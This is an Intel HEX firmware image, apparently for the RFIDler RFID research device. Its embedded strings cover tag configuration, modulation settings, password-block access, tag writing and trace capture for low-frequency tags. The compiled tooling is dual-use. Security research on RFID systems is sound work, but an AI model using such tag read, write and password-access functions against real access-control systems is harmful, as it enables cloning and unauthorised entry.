:10dc800004df049d54de049d10e0049da0dc049d8f
:10dc900010e0049d10e0049dd0de049d80df049d13
:10dca00000a0023c5c4544242800c58f6629410f32
:10dcb00000000000040040140000000021100000db
:10dcc0000538410b0000000000a0023cdc56422455
:10dcd000b000458c00a0023cdc5642249c00438ce2
:10dce00000a0023cdc564224a400428c00a0043c6c
:10dcf000dc568424a800878c00a0043cdc568424d5
:10dd0000ac00868c00a0043cdc568424d400848cb7
:10dd10001000a7af1400a6af1800a4af00a0043ce9
:10dd20005c4584242130600021384000e6f8400f33
:10dd3000000000000538410b0000000000a0023c7c
:10dd40005c4544242800c58fa9db400f000000007b
:10dd50000400401400000000211000000538410bb1
:10dd60000000000000a0023cdc564224b000458cbc
:10dd700000a0023cdc5642249c00438c00a0023ce4
:10dd8000dc564224a400428c00a0043cdc568424cf
:10dd9000d400848c1000a4af00a0043c5c45842413
:10dda0002130600021384000fdfe400f00000000df
:10ddb0000538410b0000000000a0023c5c454424f3
:10ddc0002800c58ff73d410f0000000004004014fb
:10ddd00000000000211000000538410b0000000089
:10dde00000a0023cdc564224b000458c00a0023c5e
:10ddf000dc5642249c00438c00a0023cdc564224aa
:10de0000a400428c00a0043cdc568424a800878c2b
:10de100000a0043cdc568424ac00868c00a0043caa
:10de2000dc568424d400848c1000a7af1400a6af65
:10de30001800a4af00a0043c5c458424213060009d
:10de400021384000e6f8400f000000000538410b83
:10de50000000000000a0023c5c4544242800c58f5f
:10de6000d31b410f0000000004004014000000001c
:10de7000211000000538410b0000000000a0023c0a
:10de8000dc564224b000458c00a0023cdc56422403
:10de90009c00438c00a0023cdc564224a400428c2f
:10dea00000a0043cdc568424d400848c1000a4af71
:10deb00000a0043c5c4584242130600021384000ef
:10dec000fdfe400f000000000538410b000000007f
:10ded00000a0023c5c4544242800c58fc81d410faa
:10dee00000000000040040140000000021100000a9
:10def0000538410b00000000211000000538410bdf
:10df00000000000000a0023c5c4544242800c58fae
:10df10005d44410f000000000400401400000000b8
:10df2000211000000538410b0000000000a0023c59
:10df3000dc564224b000458c00a0023cdc56422452
:10df40009c00438c00a0023cdc564224a400428c7e
:10df500000a0043cdc568424d400848c1000a4afc0
:10df600000a0043c5c45842421306000213840003e
:10df7000fdfe400f000000000538410b00000000ce
:10df800000a0023c5c4544242800c58fd942410fc3
:10df900000000000040040140000000021100000f8
:10dfa0000538410b0000000000a0023cdc56422472
:10dfb000b000458c00a0023cdc5642249c00438cff
:10dfc00000a0023cdc564224a400428c00a0043c89
:10dfd000dc568424d400848c1000a4af00a0043c40
:10dfe0005c4584242130600021384000fdfe400f54
:10dff000000000000538410b000000002800c48f1d
:10e00000ea26410f000000000538410b0000000027
:10e010002110000021e8c0032400bf8f2000be8f24
:10e020002800bd270800e00300000000f0ffbd2726
:10e030000c00beaf21f0a0030000c0af0000c0afd5
:10e040000000c28f2014027c21e8c0030c00be8fa8
:10e050001000bd270800e00300000000f0ffbd270e
:10e060000c00beaf21f0a0030000000088bf023cfe
:10e070004010428c40004230fcff40100000000085
:10e0800080bf023c3064428c0000c2a388bf033cc6
:10e090004010628c8431027c401062ac0000c2836c
:10e0a00021e8c0030c00be8f1000bd270800e0036c
:10e0b00000000000f8ffbd270400beaf21f0a00360
:10e0c00080bf023cad000324406443ac80bf023cef
:10e0d000006440ac80bf033c0064629401000424ef
:10e0e000c418827c006462a480bf023c106440ac0f
:10e0f00080bf033c0064629401000424c47b827ce2
:10e10000006462a480bf033c1064628c010004249c
:10e110008452827c106462ac88bf033c4010628ce5
:10e120008431027c401062ac80bf033c1064628c7e
:10e13000010004240463827c106462ac21e8c00303
:10e140000400be8f0800bd270800e00300000000a7
:10e15000f8ffbd270400beaf21f0a00388bf023c3a
:10e160004010428c4000423004004010000000008b
:10e17000010002246038410b000000002110000063
:10e1800021e8c0030400be8f0800bd270800e0039b
:10e1900000000000e0ffbd271c00bfaf1800beafad
:10e1a00021f0a0032000c4af7038410b0000000034
:10e1b0001000c283212040007e38410f0000000083
:10e1c0002000c28f010043242000c3af0000428022
:10e1d0001000c2a31000c293f5ff4014000000001d
:10e1e00021e8c0031c00bf8f1800be8f2000bd2790
:10e1f0000800e00300000000f8ffbd270400beafe8
:10e2000021f0a003211080000800c2a30800c383ee
:10e2100080bf023c206443ac0000000080bf023c91
:10e220001064428c00014230fcff401000000000ee
:10e2300021e8c0030400be8f0800bd270800e003ea
:10e2400000000000e0ffbd271c00bfaf1800beaffc
:10e2500021f0a003211080002000c2a31000c0a361
:10e260002000c2931100c2a31100c2936400422c8b
:10e2700010004014000000001100c393eb51023c59
:10e280001f85423419006200101000004211020084
:10e29000ff00423030004224ff0042302014027c54
:10e2a000212040007e38410f0000000001000224c0
:10e2b0001000c2a31100c393eb51023c1f854234ee
:10e2c000190062001010000042110200ff004230ed
:10e2d0002118400021106000c010020080200200c0
:10e2e000211044002310430080100200ff0043303f
:10e2f0001100c293211062001100c2a31100c29349
:10e300000a00422c05004010000000001000c393da
:10e31000010002240e006214000000001100c393eb
:10e32000cccc023ccdcc423419006200101000006d
:10e33000c2100200ff00423030004224ff00423091
:10e340002014027c212040007e38410f0000000094
:10e350001100c393cccc023ccdcc423419006200f6
:10e3600010100000c2100200ff00423040100200f6
:10e37000801802002110430023100200ff004330e8
:10e380001100c293211062001100c2a31100c293b8
:10e3900030004224ff0042302014027c2120400043
:10e3a0007e38410f0000000021e8c0031c00bf8f31
:10e3b0001800be8f2000bd270800e0030000000009
:10e3c000f8ffbd270400beaf21f0a00380bf023cd0
:10e3d0001064428c02004230050040100000000032
:10e3e00080bf033c1064628c4408027c106462ac01
:10e3f00021e8c0030400be8f0800bd270800e00329
:04e400000000000018
:020000040000fa
:020000041d04d9
:10e40400c8ffbd273400bfaf3000beaf2c00b7af8c
:10e414002800b6af2400b5af2000b4af1c00b3afe2
:10e424001800b2af1400b1af1000b0af21b8800033
:10e4340000008280059d1e3ca13cde272118c203fa
:10e444000000638021a8a0008800633008006010e9
:10e4540021a0800001009426000082822118c203ba
:10e464000000638088006330fbff60540100942641
:10e474002d000324980043102b0042380100422c45
:10e484002198000021a08202000086822110c60388
:10e49400000042900400423021880000bc0040107b
:10e4a4002180000021900000d0ffd6242128000202
:10e4b4002120200221300000d740410f2440073c96
:10e4c40021804000218860003a55410f2120c0027c
:10e4d4002120000221282002213040002138600040
:10e4e400fe35410f01009426218840002180600000
:10e4f400000086822110c6030000429004004230ce
:10e50400e9ff401425905602010003242e00022442
:10e514004800c2500100828272006054000082826e
:10e524002a00a0120000000021a0e00221b800008f
:10e534000000b4ae2500e01221400000c31717000c
:10e5440026b0570023b0c202059d153c105eb526c7
:10e55400f03f093c5a39410b090014240e00801283
:10e56400f8ffb526ffff94260710960201004230fb
:10e57400faff4010212000010000a68e0400a78e9f
:10e58400d740410f2128200121404000214860004c
:10e59400f4ff8016f8ffb52621202002212800026e
:10e5a400213000017500e00621382001d740410fd9
:10e5b4000000000021204000212860008449410f10
:10e5c4002130e00221884000218060007b0020127d
:10e5d40000f0027e2510300273004010000000009d
:10e5e4000700601221102002212020024359410f0c
:10e5f400212800022188400021806000211020028f
:10e60400211800023400bf8f3000be8f2c00b78f5a
:10e614002800b68f2400b58f2000b48f1c00b38f60
:10e624001800b28f1400b18f1000b08f0800e003ff
:10e634003800bd272120c2030000849004008430e8
:10e64400b5ff80100100942621b80000d0ff5624a5
:10e65400212800022120200221300000d740410f50
:10e664002440073c21804000218860003a55410f36
:10e674002120c00221200002212820022130400054
:10e6840021386000fe35410f0100942621884000a6
:10e694002180600000008282259056022118c20366
:10e6a4000000639004006330e8ff6014fffff72666
:10e6b400dfff032424184300201c037c45000224ac
:10e6c4000f006250010083829affa0560000b4ae8e
:10e6d4004e39410b00000000010094262339410b00
:10e6e40001001324dfff032424184300201c037caf
:10e6f40045000224f4ff621421b800000100838263
:10e704002d000224190062102b0002242300625001
:10e714000200838201009426213800002110c303e3
:10e7240000004290040042300c0040102110000010
:10e7340001009426d0ff652400008382403002004b
:10e74400c01002002120c303000084902110c200e5
:10e7540004008430f6ff80142110450023180200c1
:10e764000b106700b339410b21b8e2020200838227
:10e7740001000724c839410b020094266f30410f71
:10e7840000000000212040007039410b2128600066
:10e79400211800004439410b219000002138000069
:10e7a400c839410b020094268dff40122200032435
:10e7b40000a0023c7939410bf40343acf07f033ce5
:10e7c40085ff431425103002ed39410b2200032448
:020000040000fa
:020000041d04d9
:10e7d400d8ffbd272400bfaf2000beaf21f0a003a7
:10e7e4001400c0a300a0023cdc56422487004290df
:10e7f4000a00401400000000059d023cc85844244f
:10e80400059d023ccc5845240413410f0000000030
:10e81400211000004d3a410b00000000059d023c10
:10e82400c8584424059d023ce45845240413410f70
:10e8340000000000010002241000c2af463a410b60
:10e84400000000002b15410f0000000003004010e1
:10e85400000000004d3a410b000000001400c29378
:10e864000600401400000000059d023ce8584424c2
:10e874001000c58f6913410f0000000000a0023c86
:10e88400dc564224a0004290ffff42240300422ca5
:10e8940026004010000000001800c22721200000bc
:10e8a400212800001000c68f21384000dc2a410fc7
:10e8b4000000000000a0023cdc5642248700429085
:10e8c40000a0033cdc24642421284000ec2d410feb
:10e8d400000000000a0040100000000001000224b3
:10e8e4001400c2a3059d023cf85844241000c58faf
:10e8f4006913410f00000000423a410b0000000080
:10e904001400c0a3000000001000c28f01004224c4
:10e914001000c2af1000c28f0001422cc9ff401486
:10e92400000000004d3a410b000000000000000010
:10e9340021e8c0032400bf8f2000be8f2800bd271c
:10e944000800e00300000000c8ffbd273400bfaf8b
:10e954003000beaf21f0a00300a0023cdc564224ec
:10e96400a00042900a00401400000000059d023cf3
:10e97400c8584424059d023c085945240413410ffa
:10e984000000000021100000e23a410b00000000ea
:10e9940000a0023cdc564224bc0042900a00401411
:10e9a40000000000059d023cc8584424059d023c1b
:10e9b4001c5945240413410f0000000021100000dd
:10e9c400e23a410b00000000020002242800c2af1a
:10e9d400dd3a410b0000000000a0023cdc5642245a
:10e9e400a000429001000324300043100000000006
:10e9f40004000324580043140000000000a0023c5b
:10ea0400dc5642249c00438c00a0023cdc56422489
:10ea1400b000428c00a0043cdc568424bc008490ea
:10ea24002130800000a0043cdc5684248c00858cba
:10ea340000a0043cdc5684248800848c00a0073c9d
:10ea44009957e7241000a7af1400a6af1800a5af8c
:10ea54001c00a4af212060002800c58f00a0033c47
:10ea6400da57662421384000a406410f0000000054
:10ea74002118400000a0023cdc564224b000428c25
:10ea8400080062140000000000a0023cdc5642248e
:10ea94002800c38fa40043ac2800c28fe23a410b84
:10eaa40000000000da3a410b0000000000a0023c24
:10eab400dc5642249c00438c00a0023cdc564224d9
:10eac400b000428c00a0043cdc568424bc0084903a
:10ead4002128800000a0043cdc5684248c00848c13
:10eae40000a0063c9957c6241000a6af1400a5af99
:10eaf4001800a4af1c00a0af010004242000a4afa0
:10eb0400212060002800c58f00a0033cda5766244a
:10eb1400213840008dff400f000000002118400004
:10eb240000a0023cdc564224b000428c080062146f
:10eb34000000000000a0023cdc5642242800c38fe1
:10eb4400a40043ac2800c28fe23a410b000000004d
:10eb5400da3a410b0000000021100000e23a410bb8
:10eb6400000000002800c28f010042242800c2af28
:10eb74002800c28f0001422c97ff401400000000bf
:10eb84002110000021e8c0033400bf8f3000be8f85
:0ceb94003800bd270800e003000000006e
:020000040000fa
:020000041d04d9
:10eba000524649446c657200257300000d0a0d0a37
:10ebb00043757272656e7420636f6e6669673a0d95
:10ebc0000a0000000d0a2020544147205479706546
:10ebd0003a202020202020202020202020257300e3
:10ebe0000d0a20204672616d6520436c6f636b20b7
:10ebf00075532f3130303a20202564000d0a202033
:10ec00004d6f64756c6174696f6e3a20202020200e
:10ec100020202020202573000d0a20204d616e63e6
:10ec20006865737465723a202020202020202020ff
:10ec3000202573000d0a2020426950686173653aef
:10ec4000202020202020202020202020202573008c
:10ec50000d0a2020496e766572743a20202020200b
:10ec60002020202020202020202573000d0a202095
:10ec70004461746120526174652052462f6e3a20bf
:10ec800020202020202564000d0a2020446174618a
:10ec900020526174652053756220303a2020202074
:10eca000202564000d0a20204461746120526174a3
:10ecb000652053756220313a2020202020256400f1
:10ecc0000d0a20204461746120426974733a202047
:10ecd0002020202020202020202564000d0a202034
:10ece0004461746120426c6f636b733a2020202072
:10ecf00020202020202564000d0a2020426c6f6314
:10ed00006b73697a653a2020202020202020202063
:10ed1000202564000d0a202053796e632042697417
:10ed2000733a20202020202020202020202564004d
:10ed30000d0a202053796e6320303a2020202020b5
:10ed400020202020202020202030782530327800fc
:10ed50000d0a202053796e6320313a202020202094
:10ed600020202020202020202030782530327800dc
:10ed70000d0a202053796e6320323a202020202073
:10ed800020202020202020202030782530327800bc
:10ed90000d0a202053796e6320333a202020202052
:10eda000202020202020202020307825303278009c
:10edb0000d0a2020506f74204c6f773a20202020bd
:10edc0002020202020202020202564000d0a202043
:10edd000506f7420486967683a2020202020202046
:10ede00020202020202564000d0a202050534b2095
:10edf0005175616c6974792075533a202020202068
:10ee0000202564000d0a20205265706561743a2047
:10ee100020202020202020202020202020256400c9
:10ee20000d0a202054696d656f75742075533a2062
:10ee30002020202020202020202564000d0a2020d2
:10ee40005257442047617020464320202020202034
:10ee500020202020202564000d0a20205257442025
:10ee6000536c6565702046433a20202020202020e6
:10ee7000202564000d0a20205257442057616b65fd
:10ee80002046433a202020202020202020256400f6
:10ee90000d0a2020525744205a65726f2046433a8b
:10eea0002020202020202020202564000d0a202062
:10eeb000525744204f6e652046433a2020202020a0
:10eec00020202020202564000d0a202052574420b5
:10eed000576169742052582d3e54582046433a20b9
:10eee000202564000d0a2020525744205761697480
:10eef0002054582d3e52582046433a202025640085
:10ef00000d0a202057696567616e642050756c7327
:10ef1000652075533a202020202564000d0a20200a
:10ef200057696567616e64204761702075533a20a8
:10ef300020202020202564000d0a202057696567c5
:10ef4000616e642049646c6553746174653a202075
:08ef50002025730d0a000000ea
:020000040000fa
:020000041d04d9
:10ef5800f8ffbd270400beaf21f0a0030800c4af2e
:10ef68000c00c5af1000c6af1400c7af00a0023c2c
:10ef7800dc5642240800c38f9c0043ac00a0023c2e
:10ef8800dc5642240c00c38fec0043ac00a0023cca
:10ef9800dc5642241000c38ff00043ac00a0023cb2
:10efa800dc5642241400c38fe40043ac00a0023caa
:10efb800dc5642241800c38fe80043ac00a0023c92
:10efc800dc5642241c00c38fe00043ac00a0023c86
:10efd800dc5642242000c38ff40043ac00a0023c5e
:10efe800dc5642242400c38ff80043ac21e8c00358
:10eff8000400be8f0800bd270800e00300000000e1
:10f00800e0ffbd271c00bfaf1800beaf21f0a00372
:10f018002000c4af2400c5af2800c6af2c00c7af7e
:10f028003000c28f1000c2a33400c28fa08082af0c
:10f038003800c28f40100200b08082af3c00c28fff
:10f0480040100200b48082af4000c28f401002001e
:10f05800a88082af4400c28f40100200ac8082af0b
:10f068004800c28f40100200a48082af4c00c28fbb
:10f0780040100200c08082afa880828f0700401035
:10f0880000000000ac80828f0400401000000000e7
:10f09800a480828f040040140000000021100000aa
:10f0a800873c410b000000002000c28f0000439005
:10f0b8003000022406006210000000002000c28f09
:10f0c80000004390310002240d006214000000008b
:10f0d80000a0023c5c5544242000c58f5bba400f59
:10f0e800000000000400401400000000211000008f
:10f0f800873c410b00000000483c410b0000000029
:10f1080000a0023c5c5544242000c58f2400c68f13
:10f11800214b410f0000000000a0023c5c55432435
:10f128002400c28f211062002a000324000043a09b
:10f1380000a0023c5c554224188082af88bf023c84
:10f148002061428c02004230200040100000000084
:10f158009c8080a3a080828f42280200a080838f99
:10f168009c808293030004242130600021384000f1
:10f17800b20b410f000000002800c28f130040149a
:10f188000000000000a0023cdc5642249c00438c96
:10f1980000a0023cdc564224f000428c18006200b9
:10f1a800122000001400c4afeb51023c1f8542340a
:10f1b8001400c38f190062001010000042110200f1
:10f1c80021204000240e410f000000002800c28fbb
:10f1d8000500401000000000010002249c8082a36a
:10f1e8007e3c410b000000001000c2939c8082a36b
:10f1f8002c00c28f06004010000000000000000034
:10f208009c80839308000224fdff62140000000024
:10f218000100022421e8c0031c00bf8f1800be8f24
:10f228002000bd270800e00300000000d8ffbd272c
:10f238002400bfaf2000beaf21f0a0032800c4af58
:10f2480000a0023cdc564224870042900a000324b6
:10f2580009004310000000001000032419004310a7
:10f26800000000000800032408004310000000000c
:10f27800b73c410b000000002800c48f5cd0400f51
:10f2880000000000b73c410b000000001a000224f7
:10f298001000a2af200002241400a2af2800c28fe1
:10f2a8001800a2af010004240a0005241200062455
:10f2b80016000724ccb1400f00000000b73c410bfa
:10f2c800000000002800c48face3400f00000000dd
:10f2d8000000000021e8c0032400bf8f2000be8f7b
:0cf2e8002800bd270800e0030000000023
:020000040000fa
:020000041d04d9
:10f2f400c8ffbd273400bfaf3000b7af2c00b6af96
:10f304002800b5af2400b4af2000b3af1c00b2afe7
:10f314001800b1af1400b0af21a8800000008280b3
:10f32400059d133ca13c73262118620200006380f2
:10f3340021b0a000880063300800601021808000a4
:10f34400010010260000028221186202000063807e
:10f3540088006330fbff6054010010262d00032455
:10f36400810043102b0042380100422c21b80000d8
:10f3740021800202000003822110630200004290f7
:10f3840004004230a50040102188000021a00000a4
:10f39400d0ff722421202002a948410f2041053cbe
:10f3a400218840009356410f212040022120200251
:10f3b400212840004f45410f0100102621884000bc
:10f3c40000000382211063020000429004004230d6
:10f3d400efff401425a09202010004242e00022411
:10f3e4003e006250010002826200805400000282ea
:10f3f4002400c012401811002180a00221900000b6
:10f404000000d0ae1f00401240181100c3171200b4
:10f4140026a8520023a8a202059d133ca4667326c5
:10f42400060010240e3d410b803f023c0b000012ed
:10f43400fcff7326ffff1026071815020100633036
:10f44400faff6010000000000000658ea948410f1b
:10f4540021204000f7ff0016fcff73262120200224
:10f464006a00400621284000a948410f000000001e
:10f4740021204000aa4f410f21284002218840004a
:10f484004018110000ff023c6c006250220003246b
:10f4940068002012000000000500e0122110200284
:10f4a400af59410f21202002218840002110200261
:10f4b4003400bf8f3000b78f2c00b68f2800b58f73
:10f4c4002400b48f2000b38f1c00b28f1800b18fba
:10f4d4001400b08f0800e0033800bd272118620231
:10f4e4000000639004006330bfff60100100102629
:10f4f40021900000d0ff552421202002a948410f6b
:10f504002041053c218840009356410f2120a00250
:10f5140021202002212840004f45410f01001026e0
:10f52400218840000000028225a095022118620271
:10f534000000639004006330eeff6014ffff522666
:10f54400dfff032424184300201c037c450002240d
:10f554000f00625001000382aaffc0560000d0ae23
:10f56400023d410b0000000001001026de3c410b6f
:10f5740001001724dfff032424184300201c037c0c
:10f5840045000224f4ff621421900000010003826c
:10f594002d000224190062102b0002242200625064
:10f5a40002000382010010262138000021106302aa
:10f5b40000004290040042300c0040102110000072
:10f5c40001001026d0ff65240000038240300200b1
:10f5d400c010020021206302000084902110c200a8
:10f5e40004008430f6ff8014211045002318020023
:10f5f4000b106700573d410b219042020200038229
:10f60400010007246c3d410b020010268746410f80
:10f61400000000001e3d410b21204000212000007d
:10f62400f83c410b21a00000213800006c3d410b47
:10f634000200102698ff80122200032400a0023c3e
:08f64400273d410bf40343ac28
:020000040000fa
:020000041d04d9
:10f64c00e8ffbd271400bfaf1000beaf21f0a00330
:10f65c001800c4af1c00c5af1800c48f1c00c58fa8
:10f66c00f73d410f000000000800401000000000b2
:10f67c001800c48f1800c58f6000062447b9400fce
:10f68c0000000000a73d410b00000000211000000d
:10f69c0021e8c0031400bf8f1000be8f1800bd27d7
:10f6ac000800e0030000000078ffbd278400bfaf16
:10f6bc008000beaf21f0a0038800c4af8c00c5afa2
:10f6cc001000c227212040008c00c58fcbb8400f02
:10f6dc000000000004004014000000002110000095
:10f6ec00f13d410b000000003c00c2271000c32775
:10f6fc00212060002128400034000624214b410fba
:10f70c00000000001000c227212040001000c2277a
:10f71c0021284000340006248fbb400f000000005d
:10f72c00211840001a00022404006210000000009e
:10f73c0021100000f13d410b000000007000c327b8
:10f74c001100c22721206000212840001800062447
:10f75c0047b9400f000000000400401400000000f6
:10f76c0021100000f13d410b000000007000c42787
:10f77c007800c3277c00c227059d053ca05ea5240c
:10f78c0021306000213840000357410f0000000079
:10f79c007800c38f7c00c28f8800c48f059d053c08
:10f7ac00a85ea5242130600021384000e455410fab
:10f7bc00000000000100022421e8c0038400bf8f78
:10f7cc008000be8f8800bd270800e0030000000009
:10f7dc00c0ffbd273c00bfaf3800beaf21f0a00377
:10f7ec004000c4af4400c5af4400c48f7b4b410ff5
:10f7fc0000000000211840000800022404006210e0
:10f80c000000000021100000523e410b00000000df
:10f81c003400c2274400c48f059d033cb45e6524ac
:10f82c00213040000357410f000000003400c28f0c
:10f83c001800c32721206000059d033cbc5e652495
:10f84c0021304000e455410f000000001800c22791
:10f85c001000c3272120600021284000020006244c
:10f86c00214b410f000000004400c28f03004324d1
:10f87c003400c22721206000059d033cc45e652432
:10f88c00213040000357410f000000003400c28fac
:10f89c001800c32721206000059d033ccc5e652425
:10f8ac0021304000e455410f000000001200c32736
:10f8bc001800c227212060002128400005000624e2
:10f8cc00214b410f000000001800c2270100422408
:10f8dc00212040001000c22721284000cbb8400f47
:10f8ec00000000001800c3271800c22701004224a2
:10f8fc002120600021284000180006242ef8400f1b
:10f90c00000000004000c48f059d023cd45e4524dd
:10f91c00cbb8400f000000004000c28f2c004324e5
:10f92c001800c22721206000212840001a0006245c
:10f93c0051bb400f000000000100022421e8c0036d
:10f94c003c00bf8f3800be8f4000bd270800e0038d
:10f95c0000000000e8ffbd271400bfaf1000beafd1
:10f96c0021f0a0031800c4af1800c48f2128000098
:10f97c006ef9400f0000000021e8c0031400bf8f97
:10f98c001000be8f1800bd270800e0030000000027
:020000040000fa
:020000041d04d9
:10f99c004e525a2f446972656374000050534b31b8
:10f9ac000000000050534b320000000050534b330a
:10f9bc000000000046534b310000000046534b3210
:10f9cc000000000046534b316100000046534b329f
:10f9dc00610000004d616e636865737465720000b0
:10f9ec000810202832406480313100003130000092
:10f9fc00206761703a20256400000000206f6e655e
:10fa0c003a20256400000000207a65726f3a2025a8
:10fa1c0064000000205549443a2025730d0a00006b
:10fa2c00257300000d0a00002020436f6e66696785
:10fa3c0020426c6f636b202830293a20252e3873b6
:10fa4c000d0a0d0a0000000020202020202020207c
:10fa5c004d6173746572204b65793a2025642020c2
:10fa6c003d20000025730d0a00000000436f6d70ef
:10fa7c0061746962696c697479204d6f646500000a
:10fa8c00457874656e646564204d6f646500000094
:10fa9c00556e646566696e6564204d6f6465000023
:10faac00547275650000000046616c7365000000bf
:10fabc00202020202020202020202020582d4d6f79
:10facc0064653a2025730d0a0000000020202020d8
:10fadc0020202020204461746120526174653a20fa
:10faec0025303264203d20002564202a2046430d19
:10fafc000a00000020202020202020204d6f64755b
:10fb0c006c6174696f6e3a2025303264203d2000a0
:10fb1c004269506861736520282735302900000040
:10fb2c004269506861736520282735372900000029
:10fb3c00496e76616c6964002020202020202020f2
:10fb4c002020202020205353543a2025730d0a00e6
:10fb5c0052657365727665642f496e76616c696463
:10fb6c000000000020202020202020202020202009
:10fb7c002020202053543a2025730d0a0000000049
:10fb8c002020202020202050534b2043617272698a
:10fb9c0065723a202564203d200000005265736593
:10fbac007276656400000000202020202020202098
:10fbbc0020204d6178626c6f636b3a2025640d0ace
:10fbcc0000000000202020202020202020202020a9
:10fbdc00202020414f523a2025730d0a00000000ce
:10fbec002020202020202020202020202020204fda
:10fbfc0054503a2025730d0a0000000020202020cc
:10fc0c0020202020202020202020205057443a2043
:10fc1c0025730d0a00000000202020202020202029
:10fc2c00466173742057726974653a2025730d0a06
:10fc3c0000000000202020202020496e7665727381
:10fc4c006520446174613a2025730d0a00000000a0
:10fc5c00202020202020202020504f522044656c52
:10fc6c0061793a2025730d0a000000000d0a20204e
:10fc7c0020202050574420426c6f636b202837297a
:10fc8c003a20252e387320202020000030303038c8
:10fc9c0038304530000000003030313037303630ed
:10fcac00000000003930334630303832000000009c
:10fcbc0030303038313034300000000030303038e3
:10fccc0031304530000000003030313438303430c1
:10fcdc00000000003030303838304538000000006b
:10fcec004d616e63686573746572000050534b31df
:10fcfc000000000050534b320000000050534b33b7
:10fd0c000000000046534b310000000046534b32bc
:10fd1c000000000042697068617365004e525a2ff2
:10fd2c0044697265637400000204080831310000f4
:10fd3c0031300000303030303030303000000000d6
:10fd4c003030303131000000303030303030303035
:10fd5c003030303030303030000000000d0a466f4b
:10fd6c00756e6420746167207769746820676170b0
:10fd7c0020256400206f6e6520256400207a657252
:10fd8c006f20256400000000257300000d0a0000a0
:10fd9c002020436f6e66696720426c6f636b20286e
:10fdac0030293a20252e38730d0a0d0a0000000068
:10fdbc00547275650000000046616c7365000000ac
:10fdcc0020202020202020506167652053656c6521
:10fddc0063743a2025730d0a0000000020202020b7
:10fdec0020202020466173742057726974653a2074
:10fdfc0025730d0a00000000202020202020202048
:10fe0c00204461746120526174653a20253032645b
:10fe1c00203d20002564202a2046430d0a000000c6
:10fe2c0020202020202020202020205573652041d8
:10fe3c004f523a2025730d0a00000000202020208c
:10fe4c0020202020202020557365205057443a2034
:10fe5c0025730d0a000000002020202020202050b7
:10fe6c00534b20436172726965723a2025642020dd
:10fe7c003d200000202020202020496e76657273e2
:10fe8c006520446174613a2025730d0a000000005e
:10fe9c0020202020202020204d6f64756c61746917
:10feac006f6e3a20256420203d20000025730d0a3a
:10febc00000000002020202020202020204d6178f0
:10fecc0020426c6f636b3a2025640d0a0000000021
:10fedc002020202020202020202020202020202016
:10feec0053543a2025730d0a000000000d0a2020ff
:10fefc0020202050574420426c6f636b20283729f8
:10ff0c003a20252e38732020202000004536303131
:10ff1c00463030340000000045363031383035364c
:10ff2c0000000000453630304630453800000000f7
:10ff3c004536303046303134000000004536303024
:10ff4c0046303145000000000d0a25732c20474532
:10ff5c00545f54524143455f4441544100000000fa
:10ff6c00303000000d0a25732c20524553455400a7
:10ff7c000d0a25732c203f494e56414c49443f00f5
:10ff8c000d0a25732c204d4f44554c4154494f4e6e
:10ff9c005f444546454154000d0a25732c204449c5
:10ffac00524543545f4143434553533a00000000cc
:10ffbc0025302e31733a000025302e3273000000ac
:10ffcc000d0a25732c20414f523a000025302e3853
:10ffdc00730000000d0a25732c205057445f4449d0
:10ffec00524543545f4143434553533a000000008c
:10fffc0025302e38733a000025302e317300000066
:020000041d05d8
:10000c000d0a25732c2057524954455f50303a0045
:10001c000d0a25732c205057445f57524954455fa5
:04002c0050303a0016
:020000040000fa
:020000041d05d8
:10003000e8ffbd271400bfaf1000beaf21f0a00342
:10004000c40c410f0000000088bf033c6060629454
:100050000421027c606062a488bf033c206162943a
:1000600001000424444a827c206162a488bf033cce
:10007000a0616294444a027ca06162a421e8c003aa
:100080001400bf8f1000be8f1800bd270800e003ca
:1000900000000000d8ffbd272400bfaf2000beaf86
:1000a00021f0a0032800c4af2110a0002c00c2a39f
:1000b00088bf023cd060428c0003427cff0042308b
:1000c0001000c2a31400c0af0c40410f000000009c
:1000d0002800c28f32004010000000002c00c393a3
:1000e0009a3b023c00ca4234180062001210000021
:1000f0001800c2af1800c28f001102008018020061
:10010000211043001800c2af1800c28f4210020035
:100110001800c2af01000424fb0d410f00000000d5
:100120005a40410b000000002b15410f0000000059
:1001300003004010000000008d40410b0000000053
:1001400021200000fb0d410f00000000211840009d
:100150001800c28f2b104300030040100000000065
:100160008d40410b0000000088bf023cd060428cf3
:100170000003427cff004230211840001000c2936f
:10018000e9ff6210000000001000c2930100422c41
:10019000ff0042301000c2a34540410b00000000a8
:1001a000640002241400c2af8040410b0000000034
:1001b0007440410b000000002b15410f00000000af
:1001c00003004010000000008d40410b00000000c3
:1001d00088bf023cd060428c0003427cff0042306a
:1001e000211840001000c293f3ff621000000000cd
:1001f0001000c2930100422cff0042301000c2a345
:100200001400c28fffff43241400c3afe8ff401463
:1002100000000000e80304249340410f00000000a8
:10022000059d033c64646424212840006913410f48
:100230000000000021e8c0032400bf8f2000be8f13
:100240002800bd270800e00300000000e0ffbd27f4
:100250001c00bfaf1800beaf21f0a0032000c4af48
:100260001400c0af01000424fb0d410f000000008a
:10027000b940410b00000000a740410b0000000006
:100280002b15410f0000000004004010000000008a
:1002900021100000d140410b0000000088bf023c4b
:1002a000d060428c0003427cff00423021184000a5
:1002b0001000c28ff2ff6210000000000100042451
:1002c000fb0d410f000000001400c38f21106200dd
:1002d0001400c2af1000c28f0100422cff00423058
:1002e0001000c2af2000c28fffff43242000c3af25
:1002f000e1ff4014000000001400c28f4010020013
:100300001400c2af1400c38fcccc023ccdcc42341d
:100310001900620010100000821102001400c2af28
:100320009a3b023c00ca43341400c28f1b00620097
:10033000f401400010100000121000001400c2afc1
:100340001400c28f21e8c0031c00bf8f1800be8fad
:0c0350002000bd270800e00300000000b2
:020000040000fa
:020000041d05d8
:10035c004050050042550a00c04a0500427d040089
:10036c0025482f01c042040000800e3c25482e0178
:10037c0040680700426d0d00c0620700427d060018
:10038c0025608f01c05a060025608e012628a70023
:10039c002428ae00ffff4f25fe07e12d470020105b
:1003ac0000000000ffffaf25fe07e12d6f002010bd
:1003bc000000000002fcaf2521504f0119002c0158
:1003cc00123800001070000019000b011220000000
:1003dc001030000019002b011258000010680000aa
:1003ec002130cb002b78cb002138ed002138ef00e9
:1003fc000200ed10000000002b78ed002170cf0101
:10040c0019000c0112400000104800002130c800f7
:10041c002b78c8002138e9002138ef000200e910e0
:10042c00000000002b78e9002170cf0125788600b0
:10043c000200e011000000000100e73425480e0026
:10044c0006002005254007002a78000121400801fc
:10045c002148290121482f01ffff4a25ffff4f2585
:10046c00fe07e12d680020100000000000040825a4
:10047c0000040f2d21482f012b782f0121504f0103
:10048c00c27a08000100ef3123400f01c22208009c
:10049c00407d090025208f0040780900027b0f0069
:1004ac002528af00007d0a002528af002510040088
:1004bc00251805000800e003000000002a78000160
